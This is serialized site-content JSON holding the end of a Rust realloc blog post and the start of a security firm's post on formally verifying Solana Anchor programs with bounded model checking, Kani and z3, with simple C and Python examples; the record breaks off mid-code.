",{"type":23,"tag":64,"props":16204,"children":16206},{"className":16205},[],[16207],{"type":28,"value":12427},{"type":28,"value":16209}," struct) - this is exactly the lifetime we started with. ",{"type":23,"tag":190,"props":16211,"children":16215},{"href":16212,"ariaLabel":16213,"className":16214,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[16032],[16216],{"type":28,"value":16035},{"type":23,"tag":2918,"props":16218,"children":16219},{},[16220],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":16222},[16223,16229,16233,16234,16236],{"id":11856,"depth":351,"text":16224,"children":16225},"Breaking down realloc",[16226,16227],{"id":12022,"depth":531,"text":12025},{"id":13382,"depth":531,"text":16228},"Back to realloc",{"id":14335,"depth":351,"text":14338,"children":16230},[16231,16232],{"id":14341,"depth":531,"text":14344},{"id":14563,"depth":531,"text":14566},{"id":14750,"depth":351,"text":14753},{"id":15152,"depth":351,"text":16235},"Towards safer unsafe",{"id":12970,"depth":351,"text":15927},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":16241,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":16242,"description":16243,"author":16244,"image":16245,"date":16247,"isFeatured":15,"onBlogPage":15,"tags":16248,"body":16249,"_type":358,"_id":26512,"_source":360,"_file":26513,"_stem":26514,"_extension":363},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":16246,"height":11110,"width":11111},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[17,18],{"type":20,"children":16250,"toc":26484},[16251,16256,16261,16287,16291,16303,16326,16349,16361,16384,16387,16394,16444,16450,16456,16461,16472,16513,16518,16524,16529,16762,16782,16787,16792,16865,16870,16940,16954,17379,17399,17405,17424,17429,17434,17439,17445,17457,17492,17503,17514,17526,17531,17563,17587,17606,17612,17629,17635,17662,17667,17687,17699,17845,17873,17876,17888,17971,17990,17993,18032,18199,18204,18210,18222,18241,18254,18415,18427,18440,18914,18919,18966,18972,18990,19059,19297,19511,19516,19590,19638,19643,19649,19751,19855,19860,19923,19928,19934,19999,20004,20046,20072,20078,20147,20152,20202,20213,20219,20230,20251,20256,20261,20284,20290,20302,20322,21438,21457,21508,21513,21521,21533,21538,21546,21551,21567,21603,21608,21702,21707,21715,21720,21832,21837,21845,21858,22022,22027,22035,22040,22045,22113,22147,22153,22158,22169,22187,22565,22577,22589,22597,22608,22639,22644,22652,22657,22930,22949,22954,22980,23848,23860,23959,23971,24013,24018,24030,24038,24043,24055,24081,24241,24253,24261,24266,24542,24547,24559,24714,24734,25060,25094,25288,25321,25333,25455,25475,25480,25485,25490,25503,25511,25516,25991,26003,26008,26020,26025,26284,26310,26315,26321,26327,26339,26351,26370,26417,26422,26428,26433,26438,26443,26448,26453,26458,26461,26480],{"type":23,"tag":24,"props":16252,"children":16253},{},[16254],{"type":28,"value":16255},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":23,"tag":24,"props":16257,"children":16258},{},[16259],{"type":28,"value":16260},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":23,"tag":24,"props":16262,"children":16263},{},[16264,16266,16270,16272,16277,16279,16286],{"type":28,"value":16265},"In the world of Web3 we create programs that talk to strangers ",{"type":23,"tag":127,"props":16267,"children":16268},{},[16269],{"type":28,"value":13862},{"type":28,"value":16271}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":23,"tag":127,"props":16273,"children":16274},{},[16275],{"type":28,"value":16276},"juciest",{"type":28,"value":16278},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":23,"tag":190,"props":16280,"children":16283},{"href":16281,"rel":16282},"https://rekt.news/leaderboard/",[194],[16284],{"type":28,"value":16285},"hundreds of millions of dollars",{"type":28,"value":199},{"type":23,"tag":16288,"props":16289,"children":16290},"hr",{},[],{"type":23,"tag":24,"props":16292,"children":16293},{},[16294,16296,16301],{"type":28,"value":16295},"At OtterSec we are ",{"type":23,"tag":127,"props":16297,"children":16298},{},[16299],{"type":28,"value":16300},"highly skilled in pest control",{"type":28,"value":16302}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":23,"tag":24,"props":16304,"children":16305},{},[16306,16308,16315,16317,16324],{"type":28,"value":16307},"Recently we were contacted by the ",{"type":23,"tag":190,"props":16309,"children":16312},{"href":16310,"rel":16311},"https://squads.so/",[194],[16313],{"type":28,"value":16314},"Squads team",{"type":28,"value":16316}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":23,"tag":190,"props":16318,"children":16321},{"href":16319,"rel":16320},"https://github.com/Squads-Protocol/squads-mpl",[194],[16322],{"type":28,"value":16323},"Squads Multisig Program",{"type":28,"value":16325}," as our main case study.",{"type":23,"tag":24,"props":16327,"children":16328},{},[16329,16331,16338,16340,16347],{"type":28,"value":16330},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":23,"tag":190,"props":16332,"children":16335},{"href":16333,"rel":16334},"https://www.anchor-lang.com/",[194],[16336],{"type":28,"value":16337},"anchor-lang",{"type":28,"value":16339}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":23,"tag":190,"props":16341,"children":16344},{"href":16342,"rel":16343},"https://github.com/model-checking/kani",[194],[16345],{"type":28,"value":16346},"Kani Rust Verifier",{"type":28,"value":16348},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":23,"tag":24,"props":16350,"children":16351},{},[16352,16354,16359],{"type":28,"value":16353},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":23,"tag":127,"props":16355,"children":16356},{},[16357],{"type":28,"value":16358},"bounded model checking",{"type":28,"value":16360}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":23,"tag":24,"props":16362,"children":16363},{},[16364],{"type":23,"tag":127,"props":16365,"children":16366},{},[16367,16369,16376,16378],{"type":28,"value":16368},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":23,"tag":190,"props":16370,"children":16373},{"href":16371,"rel":16372},"https://osec.io/contact",[194],[16374],{"type":28,"value":16375},"this form",{"type":28,"value":16377}," or email us at ",{"type":23,"tag":190,"props":16379,"children":16381},{"href":16380},"mailto:contact@osec.io",[16382],{"type":28,"value":16383},"contact@osec.io",{"type":23,"tag":16288,"props":16385,"children":16386},{},[],{"type":23,"tag":16388,"props":16389,"children":16391},"h4",{"id":16390},"contents",[16392],{"type":28,"value":16393},"Contents:",{"type":23,"tag":73,"props":16395,"children":16396},{},[16397,16402,16419,16429,16434,16439],{"type":23,"tag":77,"props":16398,"children":16399},{},[16400],{"type":28,"value":16401},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":23,"tag":77,"props":16403,"children":16404},{},[16405,16410,16412,16417],{"type":23,"tag":2875,"props":16406,"children":16407},{},[16408],{"type":28,"value":16409},"Specification",{"type":28,"value":16411},": How can we describe what we ",{"type":23,"tag":127,"props":16413,"children":16414},{},[16415],{"type":28,"value":16416},"want",{"type":28,"value":16418}," our program to do?",{"type":23,"tag":77,"props":16420,"children":16421},{},[16422,16427],{"type":23,"tag":2875,"props":16423,"children":16424},{},[16425],{"type":28,"value":16426},"Verification",{"type":28,"value":16428},": How do we check that our model is correct?",{"type":23,"tag":77,"props":16430,"children":16431},{},[16432],{"type":28,"value":16433},"Case Study: Squads Multisig",{"type":23,"tag":77,"props":16435,"children":16436},{},[16437],{"type":28,"value":16438},"Additional challenges in Solana",{"type":23,"tag":77,"props":16440,"children":16441},{},[16442],{"type":28,"value":16443},"Conclusion",{"type":23,"tag":31,"props":16445,"children":16447},{"id":16446},"formal-verification-with-bounded-model-checking",[16448],{"type":28,"value":16449},"Formal Verification with Bounded Model Checking",{"type":23,"tag":7092,"props":16451,"children":16453},{"id":16452},"overview",[16454],{"type":28,"value":16455},"Overview",{"type":23,"tag":24,"props":16457,"children":16458},{},[16459],{"type":28,"value":16460},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":23,"tag":24,"props":16462,"children":16463},{},[16464,16466,16471],{"type":28,"value":16465},"There are many different flavors of formal verification, however in this research we are using ",{"type":23,"tag":2875,"props":16467,"children":16468},{},[16469],{"type":28,"value":16470},"bounded model checking (BMC)",{"type":28,"value":199},{"type":23,"tag":24,"props":16473,"children":16474},{},[16475,16477,16482,16484,16489,16491,16495,16497,16503,16505,16511],{"type":28,"value":16476},"In short, the idea of BMC is to execute our program ",{"type":23,"tag":127,"props":16478,"children":16479},{},[16480],{"type":28,"value":16481},"symbolically",{"type":28,"value":16483}," rather than ",{"type":23,"tag":127,"props":16485,"children":16486},{},[16487],{"type":28,"value":16488},"concretely",{"type":28,"value":16490},". Instead of actually performing an ",{"type":23,"tag":127,"props":16492,"children":16493},{},[16494],{"type":28,"value":7122},{"type":28,"value":16496}," when we see the line ",{"type":23,"tag":64,"props":16498,"children":16500},{"className":16499},[],[16501],{"type":28,"value":16502},"int x = a + b",{"type":28,"value":16504},", we store the symbolic expression ",{"type":23,"tag":64,"props":16506,"children":16508},{"className":16507},[],[16509],{"type":28,"value":16510},"x == a + b",{"type":28,"value":16512},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":23,"tag":24,"props":16514,"children":16515},{},[16516],{"type":28,"value":16517},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":23,"tag":7092,"props":16519,"children":16521},{"id":16520},"a-simple-example",[16522],{"type":28,"value":16523},"A simple example",{"type":23,"tag":24,"props":16525,"children":16526},{},[16527],{"type":28,"value":16528},"As an example, consider the following function:",{"type":23,"tag":435,"props":16530,"children":16532},{"code":16531,"language":661,"meta":7,"className":14005,"style":7},"int foo(int x) {\n int y = x + 3;\n int z;\n if (y > 100) {\n z = y * 2;\n } else {\n z = y + 1;\n }\n\n // Property P:\n assert(z != 105);\n}\n",[16533],{"type":23,"tag":64,"props":16534,"children":16535},{"__ignoreMap":7},[16536,16566,16600,16612,16637,16665,16680,16707,16714,16721,16729,16755],{"type":23,"tag":481,"props":16537,"children":16538},{"class":483,"line":484},[16539,16544,16549,16553,16557,16562],{"type":23,"tag":481,"props":16540,"children":16541},{"style":497},[16542],{"type":28,"value":16543},"int",{"type":23,"tag":481,"props":16545,"children":16546},{"style":610},[16547],{"type":28,"value":16548}," foo",{"type":23,"tag":481,"props":16550,"children":16551},{"style":525},[16552],{"type":28,"value":618},{"type":23,"tag":481,"props":16554,"children":16555},{"style":497},[16556],{"type":28,"value":16543},{"type":23,"tag":481,"props":16558,"children":16559},{"style":508},[16560],{"type":28,"value":16561}," x",{"type":23,"tag":481,"props":16563,"children":16564},{"style":525},[16565],{"type":28,"value":12292},{"type":23,"tag":481,"props":16567,"children":16568},{"class":483,"line":351},[16569,16574,16578,16582,16587,16591,16596],{"type":23,"tag":481,"props":16570,"children":16571},{"style":497},[16572],{"type":28,"value":16573}," int",{"type":23,"tag":481,"props":16575,"children":16576},{"style":525},[16577],{"type":28,"value":2063},{"type":23,"tag":481,"props":16579,"children":16580},{"style":514},[16581],{"type":28,"value":603},{"type":23,"tag":481,"props":16583,"children":16584},{"style":525},[16585],{"type":28,"value":16586}," x ",{"type":23,"tag":481,"props":16588,"children":16589},{"style":514},[16590],{"type":28,"value":1930},{"type":23,"tag":481,"props":16592,"children":16593},{"style":551},[16594],{"type":28,"value":16595}," 3",{"type":23,"tag":481,"props":16597,"children":16598},{"style":525},[16599],{"type":28,"value":528},{"type":23,"tag":481,"props":16601,"children":16602},{"class":483,"line":531},[16603,16607],{"type":23,"tag":481,"props":16604,"children":16605},{"style":497},[16606],{"type":28,"value":16573},{"type":23,"tag":481,"props":16608,"children":16609},{"style":525},[16610],{"type":28,"value":16611}," z;\n",{"type":23,"tag":481,"props":16613,"children":16614},{"class":483,"line":567},[16615,16619,16624,16628,16633],{"type":23,"tag":481,"props":16616,"children":16617},{"style":535},[16618],{"type":28,"value":9766},{"type":23,"tag":481,"props":16620,"children":16621},{"style":525},[16622],{"type":28,"value":16623}," (y ",{"type":23,"tag":481,"props":16625,"children":16626},{"style":514},[16627],{"type":28,"value":7947},{"type":23,"tag":481,"props":16629,"children":16630},{"style":551},[16631],{"type":28,"value":16632}," 100",{"type":23,"tag":481,"props":16634,"children":16635},{"style":525},[16636],{"type":28,"value":12292},{"type":23,"tag":481,"props":16638,"children":16639},{"class":483,"line":678},[16640,16645,16649,16653,16657,16661],{"type":23,"tag":481,"props":16641,"children":16642},{"style":525},[16643],{"type":28,"value":16644}," z ",{"type":23,"tag":481,"props":16646,"children":16647},{"style":514},[16648],{"type":28,"value":603},{"type":23,"tag":481,"props":16650,"children":16651},{"style":525},[16652],{"type":28,"value":2063},{"type":23,"tag":481,"props":16654,"children":16655},{"style":514},[16656],{"type":28,"value":2120},{"type":23,"tag":481,"props":16658,"children":16659},{"style":551},[16660],{"type":28,"value":5413},{"type":23,"tag":481,"props":16662,"children":16663},{"style":525},[16664],{"type":28,"value":528},{"type":23,"tag":481,"props":16666,"children":16667},{"class":483,"line":784},[16668,16672,16676],{"type":23,"tag":481,"props":16669,"children":16670},{"style":525},[16671],{"type":28,"value":13269},{"type":23,"tag":481,"props":16673,"children":16674},{"style":535},[16675],{"type":28,"value":836},{"type":23,"tag":481,"props":16677,"children":16678},{"style":525},[16679],{"type":28,"value":809},{"type":23,"tag":481,"props":16681,"children":16682},{"class":483,"line":812},[16683,16687,16691,16695,16699,16703],{"type":23,"tag":481,"props":16684,"children":16685},{"style":525},[16686],{"type":28,"value":16644},{"type":23,"tag":481,"props":16688,"children":16689},{"style":514},[16690],{"type":28,"value":603},{"type":23,"tag":481,"props":16692,"children":16693},{"style":525},[16694],{"type":28,"value":2063},{"type":23,"tag":481,"props":16696,"children":16697},{"style":514},[16698],{"type":28,"value":1930},{"type":23,"tag":481,"props":16700,"children":16701},{"style":551},[16702],{"type":28,"value":2072},{"type":23,"tag":481,"props":16704,"children":16705},{"style":525},[16706],{"type":28,"value":528},{"type":23,"tag":481,"props":16708,"children":16709},{"class":483,"line":825},[16710],{"type":23,"tag":481,"props":16711,"children":16712},{"style":525},[16713],{"type":28,"value":879},{"type":23,"tag":481,"props":16715,"children":16716},{"class":483,"line":843},[16717],{"type":23,"tag":481,"props":16718,"children":16719},{"emptyLinePlaceholder":15},[16720],{"type":28,"value":1210},{"type":23,"tag":481,"props":16722,"children":16723},{"class":483,"line":864},[16724],{"type":23,"tag":481,"props":16725,"children":16726},{"style":488},[16727],{"type":28,"value":16728}," // Property P:\n",{"type":23,"tag":481,"props":16730,"children":16731},{"class":483,"line":873},[16732,16737,16742,16746,16751],{"type":23,"tag":481,"props":16733,"children":16734},{"style":610},[16735],{"type":28,"value":16736}," assert",{"type":23,"tag":481,"props":16738,"children":16739},{"style":525},[16740],{"type":28,"value":16741},"(z ",{"type":23,"tag":481,"props":16743,"children":16744},{"style":514},[16745],{"type":28,"value":13178},{"type":23,"tag":481,"props":16747,"children":16748},{"style":551},[16749],{"type":28,"value":16750}," 105",{"type":23,"tag":481,"props":16752,"children":16753},{"style":525},[16754],{"type":28,"value":1366},{"type":23,"tag":481,"props":16756,"children":16757},{"class":483,"line":1125},[16758],{"type":23,"tag":481,"props":16759,"children":16760},{"style":525},[16761],{"type":28,"value":1443},{"type":23,"tag":24,"props":16763,"children":16764},{},[16765,16767,16773,16775,16781],{"type":28,"value":16766},"This function takes an input ",{"type":23,"tag":64,"props":16768,"children":16770},{"className":16769},[],[16771],{"type":28,"value":16772},"x",{"type":28,"value":16774}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":23,"tag":64,"props":16776,"children":16778},{"className":16777},[],[16779],{"type":28,"value":16780},"z != 105",{"type":28,"value":199},{"type":23,"tag":24,"props":16783,"children":16784},{},[16785],{"type":28,"value":16786},"With BMC, we could trace this program and derive the following constraints:",{"type":23,"tag":24,"props":16788,"children":16789},{},[16790],{"type":28,"value":16791},"Positive branch:",{"type":23,"tag":435,"props":16793,"children":16795},{"code":16794,"language":661,"meta":7,"className":14005,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[16796],{"type":23,"tag":64,"props":16797,"children":16798},{"__ignoreMap":7},[16799,16824,16840],{"type":23,"tag":481,"props":16800,"children":16801},{"class":483,"line":484},[16802,16807,16811,16815,16819],{"type":23,"tag":481,"props":16803,"children":16804},{"style":525},[16805],{"type":28,"value":16806},"y ",{"type":23,"tag":481,"props":16808,"children":16809},{"style":514},[16810],{"type":28,"value":6055},{"type":23,"tag":481,"props":16812,"children":16813},{"style":525},[16814],{"type":28,"value":16586},{"type":23,"tag":481,"props":16816,"children":16817},{"style":514},[16818],{"type":28,"value":1930},{"type":23,"tag":481,"props":16820,"children":16821},{"style":551},[16822],{"type":28,"value":16823}," 3\n",{"type":23,"tag":481,"props":16825,"children":16826},{"class":483,"line":351},[16827,16831,16835],{"type":23,"tag":481,"props":16828,"children":16829},{"style":525},[16830],{"type":28,"value":16806},{"type":23,"tag":481,"props":16832,"children":16833},{"style":514},[16834],{"type":28,"value":7947},{"type":23,"tag":481,"props":16836,"children":16837},{"style":551},[16838],{"type":28,"value":16839}," 100\n",{"type":23,"tag":481,"props":16841,"children":16842},{"class":483,"line":531},[16843,16848,16852,16856,16860],{"type":23,"tag":481,"props":16844,"children":16845},{"style":525},[16846],{"type":28,"value":16847},"z ",{"type":23,"tag":481,"props":16849,"children":16850},{"style":514},[16851],{"type":28,"value":6055},{"type":23,"tag":481,"props":16853,"children":16854},{"style":525},[16855],{"type":28,"value":2063},{"type":23,"tag":481,"props":16857,"children":16858},{"style":514},[16859],{"type":28,"value":2120},{"type":23,"tag":481,"props":16861,"children":16862},{"style":551},[16863],{"type":28,"value":16864}," 2\n",{"type":23,"tag":24,"props":16866,"children":16867},{},[16868],{"type":28,"value":16869},"Negative branch:",{"type":23,"tag":435,"props":16871,"children":16873},{"code":16872,"language":661,"meta":7,"className":14005,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[16874],{"type":23,"tag":64,"props":16875,"children":16876},{"__ignoreMap":7},[16877,16900,16916],{"type":23,"tag":481,"props":16878,"children":16879},{"class":483,"line":484},[16880,16884,16888,16892,16896],{"type":23,"tag":481,"props":16881,"children":16882},{"style":525},[16883],{"type":28,"value":16806},{"type":23,"tag":481,"props":16885,"children":16886},{"style":514},[16887],{"type":28,"value":6055},{"type":23,"tag":481,"props":16889,"children":16890},{"style":525},[16891],{"type":28,"value":16586},{"type":23,"tag":481,"props":16893,"children":16894},{"style":514},[16895],{"type":28,"value":1930},{"type":23,"tag":481,"props":16897,"children":16898},{"style":551},[16899],{"type":28,"value":16823},{"type":23,"tag":481,"props":16901,"children":16902},{"class":483,"line":351},[16903,16907,16912],{"type":23,"tag":481,"props":16904,"children":16905},{"style":525},[16906],{"type":28,"value":16806},{"type":23,"tag":481,"props":16908,"children":16909},{"style":514},[16910],{"type":28,"value":16911},"\u003C=",{"type":23,"tag":481,"props":16913,"children":16914},{"style":551},[16915],{"type":28,"value":16839},{"type":23,"tag":481,"props":16917,"children":16918},{"class":483,"line":531},[16919,16923,16927,16931,16935],{"type":23,"tag":481,"props":16920,"children":16921},{"style":525},[16922],{"type":28,"value":16847},{"type":23,"tag":481,"props":16924,"children":16925},{"style":514},[16926],{"type":28,"value":6055},{"type":23,"tag":481,"props":16928,"children":16929},{"style":525},[16930],{"type":28,"value":2063},{"type":23,"tag":481,"props":16932,"children":16933},{"style":514},[16934],{"type":28,"value":1930},{"type":23,"tag":481,"props":16936,"children":16937},{"style":551},[16938],{"type":28,"value":16939}," 1\n",{"type":23,"tag":24,"props":16941,"children":16942},{},[16943,16945,16952],{"type":28,"value":16944},"Using the ",{"type":23,"tag":190,"props":16946,"children":16949},{"href":16947,"rel":16948},"https://github.com/Z3Prover/z3",[194],[16950],{"type":28,"value":16951},"z3",{"type":28,"value":16953}," SMT solver, we could check both of these cases like so:",{"type":23,"tag":435,"props":16955,"children":16959},{"code":16956,"language":16957,"meta":7,"className":16958,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[16960],{"type":23,"tag":64,"props":16961,"children":16962},{"__ignoreMap":7},[16963,16986,16993,17019,17043,17067,17074,17082,17099,17127,17146,17174,17181,17189,17210,17228,17235,17243,17258,17285,17304,17331,17338,17345,17364],{"type":23,"tag":481,"props":16964,"children":16965},{"class":483,"line":484},[16966,16971,16976,16981],{"type":23,"tag":481,"props":16967,"children":16968},{"style":535},[16969],{"type":28,"value":16970},"from",{"type":23,"tag":481,"props":16972,"children":16973},{"style":525},[16974],{"type":28,"value":16975}," z3 ",{"type":23,"tag":481,"props":16977,"children":16978},{"style":535},[16979],{"type":28,"value":16980},"import",{"type":23,"tag":481,"props":16982,"children":16983},{"style":514},[16984],{"type":28,"value":16985}," *\n",{"type":23,"tag":481,"props":16987,"children":16988},{"class":483,"line":351},[16989],{"type":23,"tag":481,"props":16990,"children":16991},{"emptyLinePlaceholder":15},[16992],{"type":28,"value":1210},{"type":23,"tag":481,"props":16994,"children":16995},{"class":483,"line":531},[16996,17001,17005,17010,17015],{"type":23,"tag":481,"props":16997,"children":16998},{"style":525},[16999],{"type":28,"value":17000},"x ",{"type":23,"tag":481,"props":17002,"children":17003},{"style":514},[17004],{"type":28,"value":603},{"type":23,"tag":481,"props":17006,"children":17007},{"style":525},[17008],{"type":28,"value":17009}," Int(",{"type":23,"tag":481,"props":17011,"children":17012},{"style":1805},[17013],{"type":28,"value":17014},"'x'",{"type":23,"tag":481,"props":17016,"children":17017},{"style":525},[17018],{"type":28,"value":675},{"type":23,"tag":481,"props":17020,"children":17021},{"class":483,"line":567},[17022,17026,17030,17034,17039],{"type":23,"tag":481,"props":17023,"children":17024},{"style":525},[17025],{"type":28,"value":16806},{"type":23,"tag":481,"props":17027,"children":17028},{"style":514},[17029],{"type":28,"value":603},{"type":23,"tag":481,"props":17031,"children":17032},{"style":525},[17033],{"type":28,"value":17009},{"type":23,"tag":481,"props":17035,"children":17036},{"style":1805},[17037],{"type":28,"value":17038},"'y'",{"type":23,"tag":481,"props":17040,"children":17041},{"style":525},[17042],{"type":28,"value":675},{"type":23,"tag":481,"props":17044,"children":17045},{"class":483,"line":678},[17046,17050,17054,17058,17063],{"type":23,"tag":481,"props":17047,"children":17048},{"style":525},[17049],{"type":28,"value":16847},{"type":23,"tag":481,"props":17051,"children":17052},{"style":514},[17053],{"type":28,"value":603},{"type":23,"tag":481,"props":17055,"children":17056},{"style":525},[17057],{"type":28,"value":17009},{"type":23,"tag":481,"props":17059,"children":17060},{"style":1805},[17061],{"type":28,"value":17062},"'z'",{"type":23,"tag":481,"props":17064,"children":17065},{"style":525},[17066],{"type":28,"value":675},{"type":23,"tag":481,"props":17068,"children":17069},{"class":483,"line":784},[17070],{"type":23,"tag":481,"props":17071,"children":17072},{"emptyLinePlaceholder":15},[17073],{"type":28,"value":1210},{"type":23,"tag":481,"props":17075,"children":17076},{"class":483,"line":812},[17077],{"type":23,"tag":481,"props":17078,"children":17079},{"style":488},[17080],{"type":28,"value":17081},"# Positive branch:\n",{"type":23,"tag":481,"props":17083,"children":17084},{"class":483,"line":825},[17085,17090,17094],{"type":23,"tag":481,"props":17086,"children":17087},{"style":525},[17088],{"type":28,"value":17089},"s ",{"type":23,"tag":481,"props":17091,"children":17092},{"style":514},[17093],{"type":28,"value":603},{"type":23,"tag":481,"props":17095,"children":17096},{"style":525},[17097],{"type":28,"value":17098}," Solver()\n",{"type":23,"tag":481,"props":17100,"children":17101},{"class":483,"line":843},[17102,17107,17111,17115,17119,17123],{"type":23,"tag":481,"props":17103,"children":17104},{"style":525},[17105],{"type":28,"value":17106},"s.add(y ",{"type":23,"tag":481,"props":17108,"children":17109},{"style":514},[17110],{"type":28,"value":6055},{"type":23,"tag":481,"props":17112,"children":17113},{"style":525},[17114],{"type":28,"value":16586},{"type":23,"tag":481,"props":17116,"children":17117},{"style":514},[17118],{"type":28,"value":1930},{"type":23,"tag":481,"props":17120,"children":17121},{"style":551},[17122],{"type":28,"value":16595},{"type":23,"tag":481,"props":17124,"children":17125},{"style":525},[17126],{"type":28,"value":675},{"type":23,"tag":481,"props":17128,"children":17129},{"class":483,"line":864},[17130,17134,17138,17142],{"type":23,"tag":481,"props":17131,"children":17132},{"style":525},[17133],{"type":28,"value":17106},{"type":23,"tag":481,"props":17135,"children":17136},{"style":514},[17137],{"type":28,"value":7947},{"type":23,"tag":481,"props":17139,"children":17140},{"style":551},[17141],{"type":28,"value":16632},{"type":23,"tag":481,"props":17143,"children":17144},{"style":525},[17145],{"type":28,"value":675},{"type":23,"tag":481,"props":17147,"children":17148},{"class":483,"line":873},[17149,17154,17158,17162,17166,17170],{"type":23,"tag":481,"props":17150,"children":17151},{"style":525},[17152],{"type":28,"value":17153},"s.add(z ",{"type":23,"tag":481,"props":17155,"children":17156},{"style":514},[17157],{"type":28,"value":6055},{"type":23,"tag":481,"props":17159,"children":17160},{"style":525},[17161],{"type":28,"value":2063},{"type":23,"tag":481,"props":17163,"children":17164},{"style":514},[17165],{"type":28,"value":2120},{"type":23,"tag":481,"props":17167,"children":17168},{"style":551},[17169],{"type":28,"value":5413},{"type":23,"tag":481,"props":17171,"children":17172},{"style":525},[17173],{"type":28,"value":675},{"type":23,"tag":481,"props":17175,"children":17176},{"class":483,"line":1125},[17177],{"type":23,"tag":481,"props":17178,"children":17179},{"emptyLinePlaceholder":15},[17180],{"type":28,"value":1210},{"type":23,"tag":481,"props":17182,"children":17183},{"class":483,"line":1142},[17184],{"type":23,"tag":481,"props":17185,"children":17186},{"style":488},[17187],{"type":28,"value":17188},"# check if we can violate the correctness property\n",{"type":23,"tag":481,"props":17190,"children":17191},{"class":483,"line":1159},[17192,17197,17201,17205],{"type":23,"tag":481,"props":17193,"children":17194},{"style":525},[17195],{"type":28,"value":17196},"s.add(Not(z ",{"type":23,"tag":481,"props":17198,"children":17199},{"style":514},[17200],{"type":28,"value":13178},{"type":23,"tag":481,"props":17202,"children":17203},{"style":551},[17204],{"type":28,"value":16750},{"type":23,"tag":481,"props":17206,"children":17207},{"style":525},[17208],{"type":28,"value":17209},"))\n",{"type":23,"tag":481,"props":17211,"children":17212},{"class":483,"line":1172},[17213,17218,17223],{"type":23,"tag":481,"props":17214,"children":17215},{"style":610},[17216],{"type":28,"value":17217},"print",{"type":23,"tag":481,"props":17219,"children":17220},{"style":525},[17221],{"type":28,"value":17222},"(s.check()) ",{"type":23,"tag":481,"props":17224,"children":17225},{"style":488},[17226],{"type":28,"value":17227},"# \"unsat\"\n",{"type":23,"tag":481,"props":17229,"children":17230},{"class":483,"line":1181},[17231],{"type":23,"tag":481,"props":17232,"children":17233},{"emptyLinePlaceholder":15},[17234],{"type":28,"value":1210},{"type":23,"tag":481,"props":17236,"children":17237},{"class":483,"line":1204},[17238],{"type":23,"tag":481,"props":17239,"children":17240},{"style":488},[17241],{"type":28,"value":17242},"# Negative branch:\n",{"type":23,"tag":481,"props":17244,"children":17245},{"class":483,"line":1213},[17246,17250,17254],{"type":23,"tag":481,"props":17247,"children":17248},{"style":525},[17249],{"type":28,"value":17089},{"type":23,"tag":481,"props":17251,"children":17252},{"style":514},[17253],{"type":28,"value":603},{"type":23,"tag":481,"props":17255,"children":17256},{"style":525},[17257],{"type":28,"value":17098},{"type":23,"tag":481,"props":17259,"children":17260},{"class":483,"line":1222},[17261,17265,17269,17273,17277,17281],{"type":23,"tag":481,"props":17262,"children":17263},{"style":525},[17264],{"type":28,"value":17106},{"type":23,"tag":481,"props":17266,"children":17267},{"style":514},[17268],{"type":28,"value":6055},{"type":23,"tag":481,"props":17270,"children":17271},{"style":525},[17272],{"type":28,"value":16586},{"type":23,"tag":481,"props":17274,"children":17275},{"style":514},[17276],{"type":28,"value":1930},{"type":23,"tag":481,"props":17278,"children":17279},{"style":551},[17280],{"type":28,"value":16595},{"type":23,"tag":481,"props":17282,"children":17283},{"style":525},[17284],{"type":28,"value":675},{"type":23,"tag":481,"props":17286,"children":17287},{"class":483,"line":1291},[17288,17292,17296,17300],{"type":23,"tag":481,"props":17289,"children":17290},{"style":525},[17291],{"type":28,"value":17106},{"type":23,"tag":481,"props":17293,"children":17294},{"style":514},[17295],{"type":28,"value":16911},{"type":23,"tag":481,"props":17297,"children":17298},{"style":551},[17299],{"type":28,"value":16632},{"type":23,"tag":481,"props":17301,"children":17302},{"style":525},[17303],{"type":28,"val